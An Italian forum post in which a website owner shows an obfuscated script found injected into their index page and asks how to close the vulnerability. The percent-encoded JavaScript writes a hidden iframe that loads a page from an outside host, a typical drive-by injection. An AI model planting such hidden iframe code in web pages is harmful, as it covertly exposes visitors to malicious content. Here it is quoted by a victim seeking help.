Salve, andando a modificare l'index del mio sito ho trovato il sequente script inserito

codice:
<S*cript Language='Javascript'> docum*ent.wr*ite(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%67%61%74%65%77%61%79%31%2E%6D%69%63%72%6F%61%64%76%65%72%74%69%73%65%2E%6E%65%74%2F%56%69%73%69%74%6F%72%53%74%61%2E%70%68%70%3F%55%6E%69%71%75%65%50%61%67%65%49%44%73%3D%32%31%32%32%61%65%35%38%39%37%63%64%35%39%66%30%22%20%0A%0A%6D%61%72%67%69%6E%77%69%64%74%68%3D%22%31%22%20%6D%61%72%67%69%6E%68%65%69%67%68%74%3D%22%30%22%20%62%6F%72%64%65%72%3D%22%30%22%20%77%69%64%74%68%3D%22%31%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%68%65%69%67%68%74%3D%22%30%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%0A%0A%73%74%79%6C%65%3D%27%76%69%73%69%62%69%6C%69%74%79%3A%20%68%69%64%64%65%6E%3B%27%3E%3C%2F%69%66%72%61%6D%65%3E')); </Script>
l'ho decodificata e porta ad una pagina web (sembra) non raggiungibile

vi chiedo, come posso salvare la vulnerabilità del mio sito?